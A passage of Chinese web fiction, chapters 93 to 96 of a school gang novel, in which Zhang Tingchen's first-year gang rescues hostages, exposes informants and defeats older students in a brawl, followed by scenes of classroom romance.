李耀不等他回应就挂了电话。张霆琛骂了句脏话,转身就想往高二走,李辰浩和邓志辉赶紧拉住他。这时阎聪站出来喊道:“怎么?没听见人家说的话吗?我兄弟就不是人了吗?”
李辰浩死死瞪着他,阎聪毫不退让:“琛哥艺高人胆大,肯定能把我兄弟带出来!要是你们都跟去,我兄弟挨揍了怎么办?”他话音刚落,人群里就有人跟着起哄:“对啊!新来的兄弟要是挨揍了怎么办!”
张霆琛见大家情绪激动,立刻呵斥邓志辉:“我重要还是兄弟们重要?别说了,我马上去!”他走过邓志辉身边时,压低声音飞快地说:“有鬼!”
第九十三章:孤身闯高二
张霆琛独自一人走向高二宿舍楼,不仅没带人,连防身的刀都没带,这可把李辰浩等人急坏了。他刚走,李辰浩就想追上去,却**志辉一把拉住,还朝他使了个眼色。李辰浩脑子一点不慢,立刻明白邓志辉有话要说。
邓志辉把他拉到一边:“二哥走的时候跟我说有鬼,你怎么看?”李辰浩吃惊地看着他,半天没出声,仔细一琢磨,越想越觉得不对劲:“他说是谁了吗?”
邓志辉摇头:“没时间细说!但就算他知道,估计也不会明说,万一猜错了,影响太大。”“看来这鬼得咱们自己找了。你觉得谁最可疑?”李辰浩问。
邓志辉摸了摸耳朵,没说话。李辰浩瞬间反应过来,转头一扫,果然发现有人在暗处盯着这边。他眼睛一眯,低声道:“聪!”
“没错!”邓志辉笑了,“跟你说话就是省劲儿,一点就透。”李辰浩琢磨片刻:“那现在怎么办?”邓志辉凑到他耳边,说了几句悄悄话。李辰浩听完,嘴角勾起一抹笑:“好!就这么办!”
另一边,张霆琛已经到了高二宿舍楼下。刚要进门,就被几个男生拦住:“呦,这不是高一叱咤风云的张霆琛吗?跑这儿来干嘛?”
“找耀哥聊聊。”那几人嘴上调侃,手却没闲着,上上下下把张霆琛摸了个遍,确认他没带武器,才放行:“进去吧,星哥在里边等你呢。”
张霆琛微微一笑,径直往里走,身后传来小声嘀咕:“看他这回怎么收场!”他没理会,心里只想着怎么脱身。上回已经吃过亏,这回绝不能再栽跟头,要是不来,以后没人愿意跟着他;来了,又怕是陷阱。可事到如今,他没得选,只能硬着头皮上。
宿舍里,李耀正跟人闲聊。刘利笑着说:“耀哥这计策高啊!让张霆琛骑虎难下,来也是错,不来也是错,这回他算是栽定了!”
李耀得意地笑:“不错!他来了,咱们就好好招呼他,让他抬不起头;他要是不来,就彻底失了人心,以后咱们时不时找他麻烦,看他怎么办!”好阴险的招数,这是明摆着给张霆琛设了个进退两难的陷阱。
张霆琛自然清楚其中的厉害,却只能硬闯。到了李耀宿舍门口,他深吸一口气,敲了敲门。里边有人问:“谁啊?”他没回答,直接推门而入。李耀早知道是他,故作惊讶:“呦,风云人物来了!还记得上回来是什么时候吗?”
张霆琛扫了眼地上躺着的几个男生,人不认识,但衣服认得,正是他们统一订的款。他转头看向李耀:“耀哥,我都来了,是不是该把人放了?”
张锋轻蔑地笑:“你说放就放?那哥几个岂不是太没面子了!”张霆琛没生气,依旧赔笑:“耀哥正因为顾面子,才该放人啊!要是以后有人提起你,说你说话不算数,多不好。”
李耀笑着站起来:“呦,还敢给我扣帽子!行,放人!”刘利想拦,被他制止了。他走到张霆琛面前:“那你是不是得留下,陪哥几个聊聊?”“那是自然。”
李耀一挥手,宿舍里的人踹了地上三人一脚:“还不赶紧滚!”
那三人里,有两个已经满脸是泪。张霆琛蹲下:“没事,回去吧,天台上有饭,我一会儿就回去。”其中一个叫冯林伟的男生哽咽道:“谢谢琛哥。”“赶紧走。”张霆琛催促道。三人连滚带爬地出了宿舍。
就在他转身的瞬间,张峰突然一拳朝他打来!张霆琛虽没防备,但想轻易打倒他可没那么容易。他余光一扫,身体向后一仰,轻松躲过拳头。没当场发飙,只是推开张峰,对李耀说:“耀哥,咱们的事,就不能和解吗?”
“和解?”李耀更得意了,“你拿刀架我脖子的时候,想过和解吗?”他心里清楚,现在的张霆琛就是瓮中之鳖,任他拿捏。
张霆琛见和解无望,身体微微后移,准备应对。谁知这时,门外的人突然“砰”地一声关了门!他暗骂一声,索性先发制人,朝着李耀攻去。可这回,李耀不会让他轻易得手了。李耀一闪身,一拳回敬过来,宿舍里另外四人也齐齐朝张霆琛扑去。
张霆琛再能打,也架不住五人**。更麻烦的是,宿舍空间狭小,他
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根本施展不开,加上李耀和张锋、刘利都是能打的好手,一对一他不惧,但五人联手,他渐渐落了下风。没一会儿,他就挨了好几下重击。没办法,他只能盯住一个人打,三下五除二就把对方按在地上揍得爬不起来。可他自己也不好受,边上的人下手毫不留情,拳头像雨点般落在他身上。
打倒一人后,他立刻换了目标,盯上李耀,擒贼先擒王!一拳朝李耀肋骨下打去,接着一脚蹬在他下巴上。张峰见他如此能扛,索性抄起藏在角落的大木棍,狠狠砸在张霆琛后背上!
张霆琛痛呼一声,趴在了地上。张峰等人得理不饶人,围上来拳打脚踢。他没放弃,反手抓住一人的小腿,一用力就把对方摔了出去。可刚想起身,又被其他人按住,最后只能抱紧身体,任由他们殴打。
过了好一会儿,李耀才喊停,上前揪住张霆琛的头发:“小子,你还真有两下子,差点把我下巴弄掉!服吗?”张霆琛没说话。这时,有人手机响了,张峰接起电话,说了两句,对其他人道:“你们收拾他,我先走一步,幸好脸上没伤,不然怎么见老师!”说完踹了张霆琛一脚,临走前还嘱咐刘利:“把门关上!”
李耀没理他,又问张霆琛:“服吗?”张霆琛依旧不吭声。李耀还想说什么,张霆琛突然爆发,蓄力一拳打在他嘴上,直接打掉了他一颗门牙!
李耀满嘴是血,后退几步,发狂地吼:“给我往死里打!”其他人立刻又围了上来。可此时,张峰走了,李耀伤了,屋里只剩三人,加上门没关严,张霆琛反而有了机会。他看准时机,一脚踹在一人肚子上,没几下就收拾了剩下三人,自己却也脱力地坐在地上。
他没力气再擒住李耀,李耀也没力气再动手,两人就这么僵持着。突然,李耀的手机响了,来电显示是张峰。他接起就骂:“王八蛋!要不是你……”
话没骂完,电话里传来李辰浩的声音:“少嚷嚷!不想让你兄弟缺胳膊少腿,就赶紧放了张霆琛!”李耀一愣,显然没料到张霆琛还有这一手!
第九十四章:设局
原来张峰刚一出门,就被李辰浩他们围了个正着。李辰浩没费多少力气就制服了张峰,赶紧给李耀去了电话,威胁他放人。而能把张峰骗出来,全靠邓志辉的计策,在张霆琛只身去救人时,邓志辉和李辰浩把阎聪骗到了厕所。
邓志辉故意问阎聪:“快给出个主意,现在咱们怎么办?”阎聪故作深思:“你们是核心成员,还是你们想办法吧!”邓志辉佯装不满:“那怎么行!你兄弟还在李耀手里呢!”
阎聪想都没想就脱口而出:“没事!”话一出口就意识到说错了,赶紧解释,“有炎哥去肯定没事,我不担心!”他话音刚落,李辰浩一把掐住他的脖子,冷声道:“哼!早就猜出你小子有问题!说!**是跟谁的?”
阎聪结结巴巴地辩解:“没、没有啊!真的没有!”邓志辉嘿嘿一笑:“看来不加点料,你是不会招的。”李辰浩转头看他:“怎么跟演电影似的?”
邓志辉没好气地说:“严肃点!”说着一拳打在阎聪肚子上,“招不招?”阎聪嘴硬,死活不吭声。李辰浩扬了扬下巴:“有骨气!不过一会儿我把王涛叫来收拾你,他正愁没活靶子练手呢!”说完就给王涛打了电话。
王涛过来时骂骂咧咧:“你们还有心思在这磨蹭!大家都在商量怎么救二哥呢!”刚说完就看见跪在地上的阎聪,纳闷地问:“这是咋回事?”
李辰浩说:“内鬼,煽动大家情绪,问他啥都不说,你来试试!”王涛本就急性子,一听内鬼俩字更火了,抬脚就想踹阎聪脑袋。李辰浩赶紧拦住:“记得我教你的吗?”
王涛一脸茫然:“啥啊?”李辰浩拍了下他的脑袋:“笨蛋!现在我说招式,你照做,这不正好给你当活靶子练手?”王涛一听乐了,挽起袖子:“这我喜欢!”可还没等他动手,阎聪就怂了,连连求饶:“哥哥们别打!我错了!你们问啥我说啥!”
“早说不就完了,非得挨揍才肯开口。”邓志辉问道,“谁让你来的?”“张峰!”“靠!玩起间谍把戏了?你们目的是啥?”“峰哥让我煽动你们的情绪,离间你们……”
“狗东西!跟你一伙的还有几个?”“五、五六个……”“写个名单,少一个人,就让你尝尝王涛的厉害!”邓志辉笑着施压。李辰浩上前一步:“给张峰打电话,让他出来!”
阎聪哭丧着脸:“那可不行!他知道我骗他,非得吃了我不可!”李辰浩摇头:“那你信不信我现在就吃了你?”说着掏出别在腰间的**。阎聪看见刀,吓得赶紧答应:“行行!我马上打!”
电话接通后,阎聪对着听筒说:“喂,峰哥,你们老师说要找你,刚才我碰见他,特意跟我说的。”“知道因为啥吗?”张峰在电话那头问。“不清楚,应该不是坏事吧!”“行了,我马上过去,在哪?”
阎聪捂住电话,用眼神询问李辰浩。李辰浩指了指教学楼的方向,阎聪立刻说:“办公室!”“知道了,马上到!”电话挂断后,阎聪苦着脸求:“哥几个,能让我走了吧?”“走?王涛,收拾他!”
王涛笑嘻嘻地应着,邓志辉和李辰浩则先去埋伏张峰。路上李辰浩问:“你知道他长啥样吗?”邓志辉说:“见过,放心。”
接下来便是张峰被李辰浩制服的戏码。李辰浩把他打蒙后拖回宿舍,随即给李耀打电话勒令放人。李耀看了看张霆琛,知道今天没法再为难他,只好对着电话说:“你们放了张峰,我马上让张霆琛回去!”挂了电话,他对张霆琛恶狠狠地说:“滚吧!”
张霆琛站起来,嘴角勾起一抹冷笑:“这笔账,你给我记着!”“彼此彼此!”李耀咬牙道。张霆琛开门想走,门外的人却拦住去路。他回头看了眼李耀,李耀一挥手,拦路的人才散开。就这样,张霆琛总算脱险。
回到宿舍,李辰浩看到他满脸是伤,气得照着张峰脸上又补了几拳。其他人围上来问:“二哥,怎么样?”张霆琛躺在床上喘着粗气,却硬气道:“没事!李耀的牙都让我打掉了!早知道该把他下巴卸了,王八蛋!”
邓志辉这时说:“内鬼找到了,怎么收拾?”张霆琛脸色一正:“哼!让所有兄弟去天台等我,我有话要说。名单没泄露吧?”“还没。”
“好,上去再说。把张峰送回去!”张峰被李辰浩打掉几颗牙,却毫无还手之力,这让出身黑道世家的他根本无法忍受。李耀更是憋屈,从没受过这种气,没在学校多待,直接去了医院安牙。路上,他攥着自己带血的断牙,狠狠骂道:“张霆琛,我要你血债血偿!咱们走着瞧!”
张霆琛带着人回到天台时,所有人都愣住了,不过出去一会儿,大哥竟然挂了彩。大家放下碗筷围上来急问情况,张霆琛却笑了笑:“没什么大惊小怪的,被蚊子叮了几下,现在没事了。大家继续吃,继续喝!”
众人面面相觑,不明所以。但大哥都说没事,也不好多问。邓志辉等人互相看了眼,猜不透他葫芦里卖的什么药,只瞥见他嘴角闪过一丝邪笑,随即又恢复常态。张霆琛见大家都愣着,赶紧打圆场:“好了好了,刚才就是点小事,想知道的一会儿再说。现在只管吃饭,天王老子来了也不能耽误咱们聚餐!”
这话一出,气氛才重新热络起来。这顿酒一直喝到太阳落山才散场。临散时,张霆琛对李辰浩说:“走,练练去?”李辰浩耸耸肩:“无所谓,去哪?”“后楼吧,那儿安静,一会儿就回来。”
话音刚落,王涛醉醺醺地凑过来嚷嚷:“我也要去!”李辰浩无奈地扶了他一把,没好气道:“靠!没那量就别喝,你看看你都成啥德行了?”
王涛还嘴硬:“谁说我没量?我告诉你,我还能再喝一斤!”结果话刚说完,哇的一声吐了出来。幸好李辰浩反应快闪身躲开,不然非得被恶心死。他一边帮王涛拍背一边骂:“活该!看你下次还敢这么喝不!”
王涛这下没了气焰,乖乖被人搀回宿舍。张霆琛叫来一个兄弟:“把王涛送回去,我和李辰浩去后楼练练拳脚。”说两个人时,他特意加重了语气。
到了楼下,李辰浩不解地问:“干嘛去后楼?这时候去操场不也没人吗?还有,为啥把阎聪锁在宿舍?”张霆琛得意一笑:“也该咱们反击了!刚才我特意大声说去后楼练拳脚,懂了吗?”
以李辰浩的脑子,瞬间明白他的用意,却还是担心:“你想引蛇出洞,好歹跟兄弟们商量下啊,现在就咱们俩,怎么对付?”
“我刚才已经跟邓
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志辉说了,让他挑些信得过的兄弟在宿舍待命,再派两个人去高二宿舍楼蹲点。只要那边有动静,咱们今天就彻底收拾他们!”
李辰浩点头:“是该反击了,总不能老让人骑头上拉屎!不过初二现在是不是就剩龙镇宏了?”张霆琛摇头:“不一定,没准还有没露头的。总之这回得给他们点教训。”
一听要打架,李辰浩顿时热血沸腾,他就是典型的好战分子,嘴上不承认,身体却很诚实。两人正聊着可能发生的战局,另一边的事果然如张霆琛所料:他和李辰浩离开后,立刻有人给李耀打了电话。李耀得知两人单独去了后楼,没立刻拿主意,反而先给张峰打了电话:“张霆琛和李辰浩去后楼练拳脚了,这事你怎么看?”
张峰一听就炸了:“靠!干他们啊!耀哥你等着,我马上带人给你报仇!”李耀想报仇,可两次栽在张霆琛手里,心里多少有点忌惮。张峰看他犹豫,立刻激将:“耀哥这可不像你啊,不信我?等着,一会儿我就让张霆琛趴在地上认错!”
李耀琢磨片刻,还是谨慎地问:“可靠吗?”张峰拍着胸脯:“那必须的!耀哥你等着听好消息!”他语气嚣张,李耀要是再扭捏,反倒显得自己没魄力,当即说:“那你去安排,记得把龙镇宏他们带上,还有赵丰年,让他们也出出气。”
张峰本想说没必要,但怕耽误时机,只好答应,挂了电话就叫上刘利,分头联系龙镇宏和赵丰年。这俩人得到消息,一个个心花怒放,三拨人没耽误,直接带着人往后楼赶。
这时,张霆琛接到一条消息,脸色骤变。李辰浩看出不对劲,忙问:“怎么了?”“好几拨人往后楼来了,不少于五十人!”“什么?这么多?高二现在还有这么多人?”李辰浩半信半疑。
张霆琛无奈道:“哎,赵丰年也来了,这回玩大了!”他之所以发愁,是因为对方人太多,自己这边虽说有百来号人,但真正能打的不过五六十,而且对方年级都比他们大。懂点常识的都知道,十八岁前,长一岁就差一个档次,就像十四岁打不过十五岁,二十岁能打过三十岁一样。更重要的是心理压力,对战高年级学生总会有点怵。狭路相逢勇者胜,要是一会儿照面士气先垮了一半,这仗就不用打了。
李辰浩沉思片刻:“那现在怎么办?撤?”张霆琛摇头:“不行!面子往哪搁?躲一次就有第二次,我可不想当缩头乌龟!再说咱们兄弟身体素质比以前好多了,不一定会输。虽说能打的只有五六十,但百来号人总能把气势撑起来!”
“你可想好,打输了,咱们好不容易攒起来的队伍可能就散了!”张霆琛微微一笑,拿出手机发了条短信,随后从容地靠在墙上。李辰浩皱眉:“你发的啥?”
张霆琛伸出三根手指:“抄家伙!”李辰浩瞪大眼睛:“你可想好了,闹大了咱们吃不了兜着走!”张霆琛嘿嘿一笑:“咱们不是有林凯和邓志辉吗?有这两家照着,还怕事?”李辰浩还是不放心:“那也别太过火,真出大事就麻烦了!”
正说着,一帮人浩浩荡荡从拐角走了出来,为首的正是赵丰年和张峰,几人脸上挂着嚣张的笑。赵丰年哈哈大笑着喊道:“**崽子!今天你等死吧!”
第九十五章:清内鬼
张霆琛从容地叼起一根烟,李辰浩适时递过打火机,火光映亮两人沉静的脸,李辰浩点烟的动作行云流水,透着股面对千军万马也面不改色的沉稳。张霆琛深吸一口,烟圈袅袅升起,他左手插兜,嘴角扬起一抹轻佻:“鹿死谁手,现在说这话还太早吧?”
话音刚落,身后又传来一阵脚步声,刘利率着人浩浩荡荡赶来。局势在所有人眼里都已分明,就算张霆琛再能打,也绝不可能单挑这么多人。刘利一边走一边骂骂咧咧:“靠!小子,你嚣张的日子到头了!”
张霆琛连眼皮都没抬一下。这时赵丰年已走到他面前,张霆琛比他矮了半头,气势却丝毫不输,像株逆风而立的野草。赵丰年脸上挂着戏谑的笑:“小子,现在啥感觉?”
“年哥想让我有啥感觉?”张霆琛冷哼一声。张峰在一旁按捺不住,指着他破口大骂:“妈的!都这时候了还狂!我看你能狂到几时!”说着就要冲上来,却被赵丰年一把拦住。
“急什么?”赵丰年斜睨着张霆琛,嘴角得意的笑意更浓,“我倒要看看你还有啥资本狂。小鬼,你觉得凭你能打过我们这么多人?还是吓傻了,连叫人都不会了?”
张霆琛又抽了口烟,烟雾从齿间溢出:“你怎么就确定是我一个人对你们所有人?万一这儿早有我的人呢?”赵丰年像是听到了天大的笑话,哈哈大笑:“看来你不是狂,是脑子有问题。你倒说说,这儿谁是你的人?”
“年哥别跟他废话了,动手吧!”张峰实在忍不了这种拉锯。赵丰年瞥了他一眼:“不急,我倒要看看他能玩出什么花样。”张峰虽满心不忿,却不好驳他面子,只能在一旁暗暗咬牙。
这时张霆琛突然指向张峰:“我的人!”张峰瞬间炸毛:“靠!给脸不要脸!”拳头都攥白了,正要冲上去,却见张霆琛转头指向赵丰年身后,语气陡然提高:“我的人来了!年哥。”
几乎同时,一声怒喝炸响:“谁敢动我大哥!”所有人猛地回头,只见王涛带着四十多人正气势汹汹地冲过来。众人还没反应过来,另一头又响起呐喊:“谁敢动我大哥!”是邓志辉到了。
这下所有人都懵了,明明没见张霆琛叫人,怎么凭空冒出这么多帮手?赵丰年这才意识到上当,狠狠瞪了张峰一眼,攥紧拳头就朝张霆琛挥去。但张霆琛更快,没抽完的烟头按在他脸上,李辰浩则一脚踹开了扑上来的张峰。
两边老大动手,底下人立刻混战成一团。张霆琛和李辰浩背靠背站在人群里,应付得游刃有余。“比比?”张霆琛突然开口。李辰浩挑眉:“随意。”
“好!就看谁撂倒的多!”张霆琛话音刚落,一脚踹开迎面冲来的人,大喊,“一个!”李辰浩不甘示弱,反手撂倒一人:“一个!”
赵丰年看着他俩在人群里如入无人之境,气得鼻子都歪了,却怎么也近不了身,只能眼睁睁看着他们数数。没过多久局势彻底逆转,高一的学生们提着家伙血性迸发,追着平日里嚣张惯了的高二、高三学长狠揍。
赵丰年见状不妙,对着张峰破口大骂:“都是你干的好事!靠,坑老子!”张峰心里把他祖宗十八代骂了个遍,嘴上却只能问:“现在怎么办?”其实谁都想跑,就是抹不开面子。这时张霆琛朝赵丰年走过来,他心里一慌,哪还顾得上面子,掉头就跑。张峰一看他跑了,也立刻跟着溜了。剩下的人见状纷纷溃散,最后竟成了高一学生追着高二、高三的跑,堪称校园奇景。
张霆琛和李辰浩相视一笑,总算松了口气。忽然一只手拍在李辰浩肩上,他下意识扭住对方手腕就要过肩摔,对方却反手托住他后腰,稳稳顶住了这一摔。李辰浩心里一惊,在学校还没人能接他这一下!他猛地转身挥拳,看清来人时顿时傻眼,竟是王涛!拳头没收住,结结实实打在他脸上,直接把人打飞出去。
王涛在地上捂着脸嗷嗷叫:“你不是人!我就拍了你一下,至于下这么狠的手吗!”所有人都被逗笑了,李辰浩笑得直不起腰:“谁让你吓唬我,该!”笑归笑,他对王涛的评价又高了几分,能在这么短时间顶住他的突袭,确实是把好手。
邓志辉走到张霆琛身边:“受伤没?”张霆琛突然蹲在地上咳嗽起来,众人脸色一紧,还以为他受了内伤。结果他咳了半天,抬头骂道:“李辰浩!你明知道我不会抽烟,还故意给我点!诚心看我笑话是吧!”
李辰浩一脸无辜:“谁让你想装酷来着!该!”又引来一阵哄笑。大强凑过来说:“嘿嘿,这下咱们彻**了!今天真解气,高一追着高二、高三打,简直是历史性时刻!”
“这才哪儿到哪儿?”邓志辉接过话头,“咱们的目标可不止学校,路还长着呢。”土狗挠挠头:“啥意思?还要往外发展?”
张霆琛朝邓志辉投去赞赏的眼神,这话正说到他心坎里。光在学校里打转确实没意思,但他本就不是爱惹事的人,还需要个契机。
“是,但得斟酌。”邓志辉解释道,“现在高一别太张扬,等高二、高三再说。总在自己学校混,没劲!”回到宿舍,张霆琛第一件事就是整顿队伍,把所有人叫到天台。大家还沉浸在胜利的兴奋里,七嘴八舌地吹嘘着:
“靠!你知道吗?高三的大成被我一棍子打得找不着北,最后抱着头躺在地上跟孙子似的!现在才发现,这些人根本没什么好怕的!”
“你那算啥?我今天扇了赵丰年一嘴巴!刚开始还有点怕,后来豁出去了,照着他眼睛就是一拳,明天他要是熊猫眼,那指定是我打的!”“不是吧?赵丰年你也敢动?不怕报复?”
“跟着琛哥怕啥?没看见他一个人面对那么多人时多从容吗?那些人根本没法比!咱才不怕他们报复!”“就是,琛哥太厉害了!”
这些话张霆琛都听在耳里,心里又满意又有些小得意,今天的胜利最有意义的,是打出了队伍的信心。等人到齐了,他脸色一正:“安静!”
喧闹声立刻停了,现在他说话比老师还有分量。“今天大家表现得很好,不愧是我张霆琛的兄弟!”他声音洪亮,“我倒要看看以后谁还敢欺负咱们!”
“对!看谁还敢欺负我们!”众人齐声喊道,声浪差点掀翻天台。张霆琛摆摆手让大家安静,又问:“你们知道今天为什么能顺利把赵丰年他们引出来吗?”
众人面面相觑,只有少数人脸上闪过一丝紧张。张霆琛捕捉到那瞬间的异样,指着人群:“卢朝,你说说为什么。”
卢朝显然没料到会被点名,指了指自己,见张霆琛点头,才支支吾吾地说:“那、那是因为琛哥跟他们有仇,所以就引来了……”
张霆琛双眼微眯,目光像探照灯似的锁着他,卢朝顿时心虚地低下头,不敢对视。“我来替你说吧。”张霆琛冷笑一声,“因为有人卖了我,卖了咱们兄弟!”
这话一出,所有人都愣住了。这时土狗推着阎聪走了上来,
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手一松,阎聪“扑通”一声趴在地上,满脸惊慌地看着张霆琛。
“大家别误会,”张霆琛嘴角微扬,“让他自己说说为什么。”阎聪赶紧爬起来抱住他的胳膊:“琛哥我错了,我真的错了!”张霆琛猛地甩开他的手,一字一顿:“我现在要你说,为什么人家能轻易上当?为什么他们知道咱们这么多事!”
阎聪还想求饶,王涛已经捏着拳头走过来。他一看这架势,赶紧抱着头喊:“都是我告诉他们的!别打了,别打了!”
“继续说。”张霆琛朝王涛递了个眼色。王涛作势要踢,阎聪吓得魂都没了,赶紧交代:“是李耀让我来的!他让我煽动大家情绪,给他当线人!”
张霆琛拍了拍手:“厉害啊。这些计划都是你们策划的?还有谁参与了?”阎聪不敢隐瞒,支吾着看向卢朝和另外几人。卢朝顿时急了,指着阎聪大喊:“靠!你看**嘛!找死是吧!大家上!是他出卖咱们,害得兄弟们挨揍、大哥陷险境!要不是大哥仗义,咱们指不定要受多少罪!为大哥报仇!”说着就要带头动手。
这小子倒是会扣帽子、煽情绪。张霆琛心里冷笑,还没等他发话,王涛已经一脚踹在卢朝肚子上。“都停手!”张霆琛沉声喝道。
众人虽不明所以,但见他动了怒,都乖乖停了手。王涛瞪着卢朝:“好你个卢朝,死到临头还嘴硬!”说着又要上手,被张霆琛拦住。
“你敢把手机拿出来给大家看看吗?”张霆琛盯着卢朝。卢朝像是被戳中了痛处,梗着脖子喊道:“琛哥你竟然不相信我?难道兄弟之间就这么不可信吗?”
张霆琛眉头紧锁,这卢朝还真难缠。这时李辰浩站出来:“兄弟就得坦诚,想证明清白,就把手机拿出来。”
“哼!不信就算了!以后咱们各走各的!”卢朝说着就要走。王涛还想拦,被张霆琛拉住,现在不能用强,万一他删了通话记录,刚建立的信心就会被不信任冲垮;可不揪出他,又难平众怒。他正骑虎难下,邓志辉突然开口:“大家静静,我有办法证明卢朝的清白。”
“辉哥你说啥呢?他就是内奸!”王涛急道。邓志辉瞪了他一眼,转向众人:“我这人打架喜欢拿点战利品,这不,张峰的手机被我拿来了。现在翻翻通话记录,就能证明卢朝是不是清白的。”他说话时一直盯着卢朝,果然见他脸色瞬间紧绷。
邓志辉慢悠悠地翻着手机,时而摇头,时而叹气,半天没说话。时间一分一秒过去,就在他抬脚要说话时,卢朝突然坐在地上,哭丧着脸:“琛哥我错了!我不是故意的,我是被逼的!”
邓志辉微微一笑,不再说话。王涛一看这情形,抬脚就要踹过去,又被张霆琛拦住。他急得抓耳挠腮,半天说不出话。
张霆琛叹了口气,扶起卢朝,还帮他拍了拍身上的土:“大家都是兄弟,何苦闹成这样。其实是谁,我们早就知道了。”他看着卢朝,语气放缓,“好了,我不怪你。既然做过兄弟,就是一辈子的兄弟。等你啥时候不跟李耀他们混了,随时回来,这儿永远欢迎你。以后谁欺负你,告诉哥几个,兄弟们帮你出气!”
一番话听得所有人心里暖暖的。李辰浩这时站出来补充:“还有谁心里清楚!今晚自己搬出去,这事就算了了!”
“大哥!”张霆琛打断他,“也许不是咱们想的那样,这事就这么算了吧。”说完转身离开天台。王涛狠狠瞪了卢朝一眼,也跟着走了。
第九十六章:新同学
所有人回到宿舍后,只有王涛一肚子火气没处撒,闷声闷气地冲张霆琛嚷嚷:“二哥,你干嘛放过他!这种搅事的货就该狠狠揍一顿,看他以后还敢不敢挑拨离间!”
张霆琛没接话,倒是邓志辉先开了口,替他解释道:“今天这事咱们确实有点莽撞,要不是二哥及时收住,真闹大了可就收不了场了。”
“怎么就收不了场了?”王涛脖子一梗,依旧满肚子不服气。土狗、彭志龙几人也围了过来,满脸好奇地追问:“是啊,到底为啥啊?”李辰浩轻轻摇了摇头,反问:“你们好好琢磨琢磨,今天这局面要是处理不当,后果能有多糟?”
林凯立刻接话:“这不明摆着吗?人心散了,队伍就不好带了!”“没错!虽说听着严重,但差不多就是这个理。”邓志辉点点头,语气凝重起来,“那个卢朝真不简单,三言两语就快把大家的情绪煽动起来了,差点就让他得逞了!”
张霆琛这才叹了口气,语气里带着几分懊恼:“哎,今天这事确实办得太急了,要不是志辉突然诈了卢朝一下,今天还真可能栽在这儿。”
“到底能有多严重啊?还有辉哥,你咋拿到张峰手机的?”王涛还是没转过弯来,追着问个不停。邓志辉无奈地笑了笑:“没听二哥说吗?我那是诈他的,哪真有他手机?你想想,今天要是咱们真翻他手机,结果他早把通话记录删干净了,那咱们不就成了平白冤枉人?到时候大家只会觉得咱们不分青红皂白,那才真叫麻烦!”
“哦…原来是这么回事!”王涛这才似懂非懂地点点头,摸了摸后脑勺。张霆琛看向其他人,语重心长地说:“以后这种事不能再这么冲动了,得多动动脑筋。一出戏就一个角色,根本唱不起来!”“啥意思啊?”众人还是没明白。
邓志辉赶紧解释:“就是说以后遇着事别一股脑往前冲,得用点心计。既要揪出内鬼,还得演一出能让大家信服、甚至感动的戏。知道怎么唱戏不?”
“这个我知道!”王涛***着说,“就是得有人唱红脸,有人唱白脸!嘿嘿,这个我懂!”李辰浩白了他一眼,吐槽道:“哼,这回倒是不傻。”说完转头问张霆琛,“现在队伍里还有几个蛀虫没清出去,咋处理?”
张霆琛坐在椅子上沉思了半天,缓缓开口:“先找他们单独谈谈吧,这事就交给大哥和志辉去办。对了,王涛也跟着一起,记住,千万别声张。”
“可咱们队伍里,跟高二那帮人走得近的,估计不止这几个吧……”有人小声嘀咕。“嗯,但现在只能查到多少解决多少。”张霆琛一字一顿地说,“宁杀错,不放过!”
第二天一早,张霆琛和兄弟们依旧早早来到操场训练。正当他和李辰浩练习搏击时,谢诗韵毫无征兆地出现在他视线里。虽说张霆琛现在对她没那么反感了,但还是下意识想避开。谢诗韵显然清楚他的心思,却还是径直往他跟前凑。
“昨天给你发消息怎么不理我?”谢诗韵走到他面前,挑眉问道,“听说你们昨天干了件大事?”“没看见,昨天睡得早。”张霆琛随口找了个借口。
谢诗韵哪会信他这套说辞,却没揪着不放,直接从塑料袋里拿出一个透明盒子,里面装着热腾腾的包子。张霆琛愣了一下,下意识看向周围的兄弟,只见大伙全都坏笑着,还时不时议论:“看看二哥多幸福!”
谢诗韵皱了皱眉,故作生气地说:“怎么着,还得大小姐我亲自喂你?”张霆琛顿时有些手足无措:“不是不是,你拿包子干嘛?”这话一出,周围瞬间响起一片憋笑声,明眼人都看得出这是谢诗韵在示好,结果他愣是没接茬。
谢诗韵也不在意,不耐烦地扬了扬盒子:“你个大老爷们咋这么墨迹?给你买的,吃不吃?不吃我扔了啊!”张霆琛这下不好再推辞,只好接过盒子,尴尬地说了声“谢谢”。等训练结束,他愣是被谢诗韵盯着吃完了包子。虽说脸上一脸不情愿,心里却暗忖:这小丫头片子哪儿买的包子,还真挺好吃。典型的口是心非。
一群人浩浩荡荡冲进食堂,张霆琛则转身去女生宿舍接梁颖。可等了半天,也没见人来。他正不耐烦地想打电话,就看见梁颖从学校门口方向跑了过来。
“你去哪了?”张霆琛不解地问。梁颖吐了吐舌头,笑着说:“嘿嘿,我昨天没回宿舍,请假回家了,特意给你做了包子。”说着从书包里掏出一个大袋子。
张霆琛心里咯噔一下,这俩人咋还比着送包子?刚才已经吃了七个,现在哪还有胃口?但这话可不敢说出口,只好接过来,无奈地笑了笑。
“怎么了?不想吃吗?”梁颖察觉到他的不对劲,又瞥见他脸上的伤,顿时急了,“你脸上咋回事?又打架了?”张霆琛赶紧嘿嘿一笑掩饰尴尬:“没事,刚才练习时被李辰浩不小心划到了。”
“怎么这么不小心!说了多少次别练这些,你就是不听!”梁颖一肚子气,却又劝不动他。张霆琛赶紧转移话题:“好了好了,你吃早饭没?对了,今天早上有数学考试呢。”
“早复习好了!”梁颖立刻扬起下巴,“这回可不会再输给你了,咱们走着瞧!”“哟,一晚上不见,口气倒不小。”张霆琛打趣道,“那我倒要看看,你怎么超越你老公。”梁颖瞬间红了脸,嗔道:“什么老公啊,没正经!赶紧回班把包子吃了!”
张霆琛心里松了口气,总算把话题岔开了。到了班里,他坐在椅子上假装吃了两口,还故意装出回味无穷的样子,其实现在就算山珍海味摆在面前,他也咽不下去。可为了不让梁颖生气,只能硬着头皮装样子。
没一会儿上课铃响了,数学老师赖军走进来准备发卷子。就在这时,教务处老师突然推门而入,身后还跟着个学生。那学生长得挺扎眼,不像张霆琛这样清秀,耳朵上还戴着耳钉。这所学校管得极严,张霆琛不禁纳闷:戴耳钉老师居然不管?
“这就是我昨天跟你说的新学生,以后就在你们班了。”教务处老师对赖军说。赖军皱着眉推辞:“昨天不是说了吗?我们班没空位了。”教务处老师指了指张霆琛旁边的空位:“那不是空位吗?就放你们班吧,别的班哪有你们班优秀?”
这几句奉承让赖军心里舒坦不少,嘴上却还是不情不愿。其实也难怪,哪个老师不希望尖子班保持成绩?万一新来的是个吊车尾,拉低了平均分,奖金可就泡汤了,学生成绩可是直接和老师奖金挂钩的。
